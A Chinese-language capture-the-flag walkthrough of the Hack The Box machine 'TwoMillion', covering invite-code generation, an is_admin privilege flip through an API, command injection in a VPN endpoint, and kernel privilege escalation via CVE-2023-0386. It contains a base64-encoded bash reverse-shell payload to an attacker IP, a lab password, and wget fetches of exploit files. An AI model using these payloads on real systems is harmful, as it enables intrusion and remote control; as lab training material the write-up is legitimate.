0%

TwoMillion

OverlayFS 内核漏洞 (CVE-2023-0386)

TwoMillion

信息搜集

nmap扫描一下

1
nmap -sV -v 10.10.11.221

扫描结果

1
2
3
4
PORT     STATE    SERVICE     VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
3851/tcp filtered spectraport

访问下80端口发现跳转到2million.htb,添加下/etc/hosts

然后发现存在登录界面

我们扫一下目录

我们依次去访问看看

  • /api和/api/v1路由均不可访问
  • /register路由可以注册用户,不过需要Invite code且不可输入
  • 主页的join功能可以访问/invite路由,并且存在js源码

访问复制下来然后调整一下 代码美化

注意勾上打包器(packers)和混淆器(obfuscators)的功能

成功得到源码(也可以将该函数丢到控制台执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}

两个路由分别是用来验证邀请码和生成邀请码

我们先用curl命令发送下POST请求

1
curl -X POST http://2million.htb/api/v1/invite/how/to/generate

得到回显,提示要ROT13解密

1
2
3
4
5
6
7
8
9
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

找一个ROT13在线解码,得到信息要去/api/v1/invite/generate发送POST请求即可得到邀请码

发送POST请求,得到邀请码

1
2
3
4
5
6
7
8
{
"0": 200,
"success": 1,
"data": {
"code": "QldKWDMtSDlQMVAtT1k0NVQtWks5V0I=",
"format": "encoded"
}
}

这里很明显是base64加密的,解码即可

bp抓包添加上邀请码

出现302说明注册成功,我们直接登录

当我们再次访问之前的/api/v1

我们注意到/api/v1/admin/settings/update路由,用PUT请求可以更新user的设置

bp抓包试试,回显Invalid content type,应该是要添加Content-Type解析json数据

添加Content-Type头之后提示缺少email参数。由于路由是admin的,大概率是要admin的email

我们继续查看/api/v1/admin/vpn/generate路由,POST请求发现回显Unauthorized,我们只能回到刚刚的update路由下再看看,我们添加上email参数值为我们注册的邮箱,回显如下

得到信息is_admin参数应该是用来判断是否为admin用户,我们添加上并改为1后发包

1
2
3
4
{
"email":"test@qq.com",
"is_admin":1
}

然后再次访问/api/v1/admin/vpn/generate,回显缺少username参数

添加上成功回显

这里参考wp说是存在命令注入漏洞,通过sleep函数检测

1
2
3
{
"username":"test;sleep 2"
}

payload如下

1
2
3
{
"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Ny8xMDI4IDA+JjE=|base64 -d|bash"
}

成功反弹shell

我们不妨看看源码是如何注入的,查看下/controllers/VPNController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public function admin_vpn($router) {
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
if (!isset($_SESSION['is_admin']) || $_SESSION['is_admin'] !== 1) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
if (!isset($_SERVER['CONTENT_TYPE']) || $_SERVER['CONTENT_TYPE'] !== 'application/json') {
return json_encode([
'status' => 'danger',
'message' => 'Invalid content type.'
]);
exit;
}

$body = file_get_contents('php://input');
$json = json_decode($body);

if (!isset($json)) {
return json_encode([
'status' => 'danger',
'message' => 'Missing parameter: username'
]);
exit;
}
if (!$json->username) {
return json_encode([
'status' => 'danger',
'message' => 'Missing parameter: username'
]);
exit;
}
$username = $json->username;

$this->regenerate_user_vpn($router, $username);
$output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");

return is_array($output) ? implode("<br>", $output) : $output;
}

我们注意到$username传递给regenerate_user_vpn函数,并且只是要求username为json格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function regenerate_user_vpn($router, $user = null) {
if ($user != null) {
exec("/bin/bash /var/www/html/VPN/gen.sh $user", $output, $return_var);
} else {
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
if (!isset($_SESSION['username']) || $_SESSION['username'] == null) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}

$username = $this->remove_special_chars($_SESSION['username']);
$fileName = $username. ".ovpn";

exec("/bin/bash /var/www/html/VPN/gen.sh $username", $output, $return_var);

$this->download_vpn($fileName);
}
}

那么在传递到regenerate_user_vpn函数后很明显是可以命令拼接,利用;来实现命令注入

拼接结果如下,执行id命令并注释掉后面代码

1
exec("/bin/bash /var/www/html/VPN/gen.sh test;id#", $output, $return_var);

回到题目,我们ls一下发现存在.env文件,应该存在个人信息

得到admin用户的密码,那么我们直接连接本地数据库

1
mysql -u admin -p -h localhost

得到其他用户的个人信息

不过没什么用,因为我们可以直接ssh连接

1
2
ssh admin@10.10.11.221
SuperDuperPass123

连接上后,先在/home/admin/拿到user的flag

然后参考wp说是有hint,在/var/mail/admin

经过搜索找到OverlayFS 内核漏洞 (CVE-2023-0386)

exp链接

我们先开启http服务,在靶机用wget命令复制到/tmp目录下

1
2
wget http://10.10.14.57/exp.sh
wget http://10.10.14.57/fuse.c

然后执行/bin/bash exp.sh,成功提权(该目录还有其他师傅传的exp)